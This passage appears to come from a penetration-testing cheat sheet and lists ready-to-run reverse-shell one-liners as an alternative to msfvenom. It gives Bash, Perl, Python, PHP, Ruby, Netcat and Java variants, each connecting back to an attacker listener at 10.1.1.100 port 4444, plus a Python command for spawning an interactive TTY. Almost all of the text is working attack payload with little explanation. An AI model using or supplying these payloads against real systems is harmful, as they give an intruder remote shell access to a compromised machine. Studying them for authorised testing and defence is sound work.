If you don't want to use msfvenom, then you can create your own custom shells. Here are some examples:
- Bash
bash -i >& /dev/tcp/[Your Kali IP Address]/[Your Listening Port on Kali] 0>&1
In the following examples, I will assume that my Kali IP is 10.1.1.100 and the listening port is 4444.
- PERL
perl -e 'use Socket;$ip="10.1.1.100";$prt=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($prt,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- Python
python -c 'import socket,subprocess,os;skt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);skt.connect(("10.1.1.100",4444));os.dup2(skt.fileno(),0); os.dup2(skt.fileno(),1); os.dup2(skt.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Speaking of Python, if you get a remote shell, you can spawn a TTY shell using python -c 'import pty; pty.spawn("/bin/sh")'.
- PHP
php -r '$sock=fsockopen("10.1.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
- Ruby
ruby -rsocket -e'f=TCPSocket.open("10.1.1.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- Netcat
nc -e /bin/sh 10.1.1.100 4444
- Java
rt = Runtime.getRuntime() pc = rt.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.1.1.100/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) pc.waitFor()